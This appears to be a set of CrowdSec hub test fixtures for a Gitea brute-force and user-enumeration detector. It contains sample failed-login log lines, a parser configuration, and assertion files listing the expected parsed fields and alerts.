3.3.3.3:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:01:03 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 3.3.3.3:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:57:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test1@example.com from 4.4.4.4:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:57:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test2@example.com from 4.4.4.4:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:58:00 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test3@example.com from 4.4.4.4:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:58:01 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test4@example.com from 4.4.4.4:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:58:02 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test5@example.com from 4.4.4.4:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:58:03 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test6@example.com from 4.4.4.4:39522: user does not exist [uid: 0, name: test, keyid: 0]hub1/.tests/gitea-bf/parser.assert000066400000000000000000000000001437532772500173370ustar00rootroot00000000000000hub1/.tests/gitea-bf/scenario.assert000066400000000000000000000516111437532772500176640ustar00rootroot00000000000000len(results) == 6 "4.4.4.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["4.4.4.4"].IP == "4.4.4.4" results[0].Overflow.Sources["4.4.4.4"].Range == "" results[0].Overflow.Sources["4.4.4.4"].GetScope() == "Ip" results[0].Overflow.Sources["4.4.4.4"].GetValue() == "4.4.4.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitea-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "gitea_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "gitea" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "4.4.4.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-03-01T13:57:58Z" results[0].Overflow.Alert.Events[0].GetMeta("user") == "test1@example.com" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitea-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "gitea_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "gitea" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "4.4.4.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-03-01T13:57:59Z" results[0].Overflow.Alert.Events[1].GetMeta("user") == "test2@example.com" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitea-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "gitea_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "gitea" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "4.4.4.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-03-01T13:58:00Z" results[0].Overflow.Alert.Events[2].GetMeta("user") == "test3@example.com" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitea-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "gitea_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "gitea" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "4.4.4.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-03-01T13:58:01Z" results[0].Overflow.Alert.Events[3].GetMeta("user") == "test4@example.com" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gitea-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "gitea_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "gitea" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "4.4.4.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-03-01T13:58:02Z" results[0].Overflow.Alert.Events[4].GetMeta("user") == "test5@example.com" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitea-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "gitea_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "gitea" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "4.4.4.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-03-01T13:58:03Z" results[0].Overflow.Alert.Events[5].GetMeta("user") == "test6@example.com" results[0].Overflow.Alert.GetScenario() == "LePresidente/gitea-bf_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "2.2.2.2" in results[1].Overflow.GetSources() results[1].Overflow.Sources["2.2.2.2"].IP == "2.2.2.2" results[1].Overflow.Sources["2.2.2.2"].Range == "" results[1].Overflow.Sources["2.2.2.2"].GetScope() == "Ip" results[1].Overflow.Sources["2.2.2.2"].GetValue() == "2.2.2.2" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitea-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "gitea_failed_auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "gitea" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "2.2.2.2" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-03-01T12:59:58Z" results[1].Overflow.Alert.Events[0].GetMeta("user") == "test1" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitea-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "gitea_failed_auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "gitea" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "2.2.2.2" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-03-01T12:59:59Z" results[1].Overflow.Alert.Events[1].GetMeta("user") == "test2" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitea-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "gitea_failed_auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "gitea" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "2.2.2.2" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-03-01T13:00:00Z" results[1].Overflow.Alert.Events[2].GetMeta("user") == "test3" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitea-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "gitea_failed_auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "gitea" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "2.2.2.2" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-03-01T12:00:01Z" results[1].Overflow.Alert.Events[3].GetMeta("user") == "test4" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gitea-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "gitea_failed_auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "gitea" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "2.2.2.2" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-03-01T12:00:02Z" results[1].Overflow.Alert.Events[4].GetMeta("user") == "test5" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitea-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "gitea_failed_auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "gitea" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "2.2.2.2" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-03-01T12:00:03Z" results[1].Overflow.Alert.Events[5].GetMeta("user") == "test6" results[1].Overflow.Alert.GetScenario() == "LePresidente/gitea-bf_user-enum" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 "4.4.4.4" in results[2].Overflow.GetSources() results[2].Overflow.Sources["4.4.4.4"].IP == "4.4.4.4" results[2].Overflow.Sources["4.4.4.4"].Range == "" results[2].Overflow.Sources["4.4.4.4"].GetScope() == "Ip" results[2].Overflow.Sources["4.4.4.4"].GetValue() == "4.4.4.4" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitea-bf.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "gitea_failed_auth" results[2].Overflow.Alert.Events[0].GetMeta("service") == "gitea" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "4.4.4.4" results[2].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-03-01T13:57:58Z" results[2].Overflow.Alert.Events[0].GetMeta("user") == "test1@example.com" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitea-bf.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "gitea_failed_auth" results[2].Overflow.Alert.Events[1].GetMeta("service") == "gitea" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "4.4.4.4" results[2].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-03-01T13:57:59Z" results[2].Overflow.Alert.Events[1].GetMeta("user") == "test2@example.com" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitea-bf.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "gitea_failed_auth" results[2].Overflow.Alert.Events[2].GetMeta("service") == "gitea" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "4.4.4.4" results[2].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-03-01T13:58:00Z" results[2].Overflow.Alert.Events[2].GetMeta("user") == "test3@example.com" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitea-bf.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "gitea_failed_auth" results[2].Overflow.Alert.Events[3].GetMeta("service") == "gitea" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "4.4.4.4" results[2].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-03-01T13:58:01Z" results[2].Overflow.Alert.Events[3].GetMeta("user") == "test4@example.com" results[2].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gitea-bf.log" results[2].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[4].GetMeta("log_type") == "gitea_failed_auth" results[2].Overflow.Alert.Events[4].GetMeta("service") == "gitea" results[2].Overflow.Alert.Events[4].GetMeta("source_ip") == "4.4.4.4" results[2].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-03-01T13:58:02Z" results[2].Overflow.Alert.Events[4].GetMeta("user") == "test5@example.com" results[2].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitea-bf.log" results[2].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[5].GetMeta("log_type") == "gitea_failed_auth" results[2].Overflow.Alert.Events[5].GetMeta("service") == "gitea" results[2].Overflow.Alert.Events[5].GetMeta("source_ip") == "4.4.4.4" results[2].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-03-01T13:58:03Z" results[2].Overflow.Alert.Events[5].GetMeta("user") == "test6@example.com" results[2].Overflow.Alert.GetScenario() == "LePresidente/gitea-bf" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 6 "3.3.3.3" in results[3].Overflow.GetSources() results[3].Overflow.Sources["3.3.3.3"].IP == "3.3.3.3" results[3].Overflow.Sources["3.3.3.3"].Range == "" results[3].Overflow.Sources["3.3.3.3"].GetScope() == "Ip" results[3].Overflow.Sources["3.3.3.3"].GetValue() == "3.3.3.3" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitea-bf.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "gitea_failed_auth" results[3].Overflow.Alert.Events[0].GetMeta("service") == "gitea" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "3.3.3.3" results[3].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-03-01T13:00:58Z" results[3].Overflow.Alert.Events[0].GetMeta("user") == "test@example.com" results[3].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitea-bf.log" results[3].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[1].GetMeta("log_type") == "gitea_failed_auth" results[3].Overflow.Alert.Events[1].GetMeta("service") == "gitea" results[3].Overflow.Alert.Events[1].GetMeta("source_ip") == "3.3.3.3" results[3].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-03-01T13:00:59Z" results[3].Overflow.Alert.Events[1].GetMeta("user") == "test@example.com" results[3].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitea-bf.log" results[3].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[2].GetMeta("log_type") == "gitea_failed_auth" results[3].Overflow.Alert.Events[2].GetMeta("service") == "gitea" results[3].Overflow.Alert.Events[2].GetMeta("source_ip") == "3.3.3.3" results[3].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-03-01T13:01:00Z" results[3].Overflow.Alert.Events[2].GetMeta("user") == "test@example.com" results[3].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitea-bf.log" results[3].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[3].GetMeta("log_type") == "gitea_failed_auth" results[3].Overflow.Alert.Events[3].GetMeta("service") == "gitea" results[3].Overflow.Alert.Events[3].GetMeta("source_ip") == "3.3.3.3" results[3].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-03-01T13:01:01Z" results[3].Overflow.Alert.Events[3].GetMeta("user") == "test@example.com" results[3].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gitea-bf.log" results[3].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[4].GetMeta("log_type") == "gitea_failed_auth" results[3].Overflow.Alert.Events[4].GetMeta("service") == "gitea" results[3].Overflow.Alert.Events[4].GetMeta("source_ip") == "3.3.3.3" results[3].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-03-01T13:01:02Z" results[3].Overflow.Alert.Events[4].GetMeta("user") == "test@example.com" results[3].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitea-bf.log" results[3].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[5].GetMeta("log_type") == "gitea_failed_auth" results[3].Overflow.Alert.Events[5].GetMeta("service") == "gitea" results[3].Overflow.Alert.Events[5].GetMeta("source_ip") == "3.3.3.3" results[3].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-03-01T13:01:03Z" results[3].Overflow.Alert.Events[5].GetMeta("user") == "test@example.com" results[3].Overflow.Alert.GetScenario() == "LePresidente/gitea-bf" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 6 "2.2.2.2" in results[4].Overflow.GetSources() results[4].Overflow.Sources["2.2.2.2"].IP == "2.2.2.2" results[4].Overflow.Sources["2.2.2.2"].Range == "" results[4].Overflow.Sources["2.2.2.2"].GetScope() == "Ip" results[4].Overflow.Sources["2.2.2.2"].GetValue() == "2.2.2.2" results[4].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitea-bf.log" results[4].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[0].GetMeta("log_type") == "gitea_failed_auth" results[4].Overflow.Alert.Events[0].GetMeta("service") == "gitea" results[4].Overflow.Alert.Events[0].GetMeta("source_ip") == "2.2.2.2" results[4].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-03-01T12:59:58Z" results[4].Overflow.Alert.Events[0].GetMeta("user") == "test1" results[4].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitea-bf.log" results[4].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[1].GetMeta("log_type") == "gitea_failed_auth" results[4].Overflow.Alert.Events[1].GetMeta("service") == "gitea" results[4].Overflow.Alert.Events[1].GetMeta("source_ip") == "2.2.2.2" results[4].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-03-01T12:59:59Z" results[4].Overflow.Alert.Events[1].GetMeta("user") == "test2" results[4].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitea-bf.log" results[4].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[2].GetMeta("log_type") == "gitea_failed_auth" results[4].Overflow.Alert.Events[2].GetMeta("service") == "gitea" results[4].Overflow.Alert.Events[2].GetMeta("source_ip") == "2.2.2.2" results[4].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-03-01T13:00:00Z" results[4].Overflow.Alert.Events[2].GetMeta("user") == "test3" results[4].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitea-bf.log" results[4].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[3].GetMeta("log_type") == "gitea_failed_auth" results[4].Overflow.Alert.Events[3].GetMeta("service") == "gitea" results[4].Overflow.Alert.Events[3].GetMeta("source_ip") == "2.2.2.2" results[4].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-03-01T12:00:01Z" results[4].Overflow.Alert.Events[3].GetMeta("user") == "test4" results[4].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gitea-bf.log" results[4].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[4].GetMeta("log_type") == "gitea_failed_auth" results[4].Overflow.Alert.Events[4].GetMeta("service") == "gitea" results[4].Overflow.Alert.Events[4].GetMeta("source_ip") == "2.2.2.2" results[4].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-03-01T12:00:02Z" results[4].Overflow.Alert.Events[4].GetMeta("user") == "test5" results[4].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitea-bf.log" results[4].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[5].GetMeta("log_type") == "gitea_failed_auth" results[4].Overflow.Alert.Events[5].GetMeta("service") == "gitea" results[4].Overflow.Alert.Events[5].GetMeta("source_ip") == "2.2.2.2" results[4].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-03-01T12:00:03Z" results[4].Overflow.Alert.Events[5].GetMeta("user") == "test6" results[4].Overflow.Alert.GetScenario() == "LePresidente/gitea-bf" results[4].Overflow.Alert.Remediation == true results[4].Overflow.Alert.GetEventsCount() == 6 "1.1.1.1" in results[5].Overflow.GetSources() results[5].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[5].Overflow.Sources["1.1.1.1"].Range == "" results[5].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[5].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[5].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitea-bf.log" results[5].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[0].GetMeta("log_type") == "gitea_failed_auth" results[5].Overflow.Alert.Events[0].GetMeta("service") == "gitea" results[5].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[5].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-03-01T12:57:58Z" results[5].Overflow.Alert.Events[0].GetMeta("user") == "test" results[5].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitea-bf.log" results[5].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[1].GetMeta("log_type") == "gitea_failed_auth" results[5].Overflow.Alert.Events[1].GetMeta("service") == "gitea" results[5].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[5].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-03-01T12:57:59Z" results[5].Overflow.Alert.Events[1].GetMeta("user") == "test" results[5].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitea-bf.log" results[5].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[2].GetMeta("log_type") == "gitea_failed_auth" results[5].Overflow.Alert.Events[2].GetMeta("service") == "gitea" results[5].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[5].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-03-01T12:58:00Z" results[5].Overflow.Alert.Events[2].GetMeta("user") == "test" results[5].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitea-bf.log" results[5].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[3].GetMeta("log_type") == "gitea_failed_auth" results[5].Overflow.Alert.Events[3].GetMeta("service") == "gitea" results[5].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[5].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-03-01T12:58:01Z" results[5].Overflow.Alert.Events[3].GetMeta("user") == "test" results[5].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gitea-bf.log" results[5].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[4].GetMeta("log_type") == "gitea_failed_auth" results[5].Overflow.Alert.Events[4].GetMeta("service") == "gitea" results[5].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[5].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-03-01T12:58:02Z" results[5].Overflow.Alert.Events[4].GetMeta("user") == "test" results[5].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitea-bf.log" results[5].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[5].GetMeta("log_type") == "gitea_failed_auth" results[5].Overflow.Alert.Events[5].GetMeta("service") == "gitea" results[5].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[5].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-03-01T12:58:03Z" results[5].Overflow.Alert.Events[5].GetMeta("user") == "test" results[5].Overflow.Alert.GetScenario() == "LePresidente/gitea-bf" results[5].Overflow.Alert.Remediation == true results[5].Overflow.Alert.GetEventsCount() == 6hub1/.tests/gitea-logs/000077500000000000000000000000001437532772500152075ustar00rootroot00000000000000hub1/.tests/gitea-logs/config.yaml000066400000000000000000000003471437532772500173440ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/gitea-logs.yaml scenarios: - "" postoverflows: - "" log_file: gitea-logs.log log_type: gitea labels: {} ignore_parsers: false hub1/.tests/gitea-logs/gitea-logs.log000066400000000000000000000005511437532772500177460ustar00rootroot000000000000002022/03/01 12:57:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:57:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 1.1.1.1:39522: user does not exist [uid: 1, name: test, keyid: 0]hub1/.tests/gitea-logs/parser.assert000066400000000000000000000165231437532772500177350ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022/03/01 12:57:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0]" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "gitea" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "gitea-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022/03/01 12:57:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 1.1.1.1:39522: user does not exist [uid: 1, name: test, keyid: 0]" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "gitea" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "gitea-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["LePresidente/gitea-logs"]) == 2 results["s01-parse"]["LePresidente/gitea-logs"][0].Success == true results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Parsed["timestamp"] == "2022/03/01 12:57:58" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Parsed["username"] == "test" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Parsed["message"] == "2022/03/01 12:57:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0]" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Parsed["program"] == "gitea" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Parsed["remote_port"] == "39522" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Meta["datasource_path"] == "gitea-logs.log" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Meta["log_type"] == "gitea_failed_auth" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Meta["service"] == "gitea" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/gitea-logs"][0].Evt.Meta["user"] == "test" results["s01-parse"]["LePresidente/gitea-logs"][1].Success == true results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Parsed["remote_port"] == "39522" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Parsed["timestamp"] == "2022/03/01 12:57:59" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Parsed["message"] == "2022/03/01 12:57:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 1.1.1.1:39522: user does not exist [uid: 1, name: test, keyid: 0]" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Parsed["program"] == "gitea" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Meta["user"] == "test@example.com" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Meta["datasource_path"] == "gitea-logs.log" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Meta["log_type"] == "gitea_failed_auth" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Meta["service"] == "gitea" results["s01-parse"]["LePresidente/gitea-logs"][1].Evt.Meta["source_ip"] == "1.1.1.1" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_port"] == "39522" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022/03/01 12:57:58" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022/03/01 12:57:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "gitea" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "gitea-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "gitea_failed_auth" 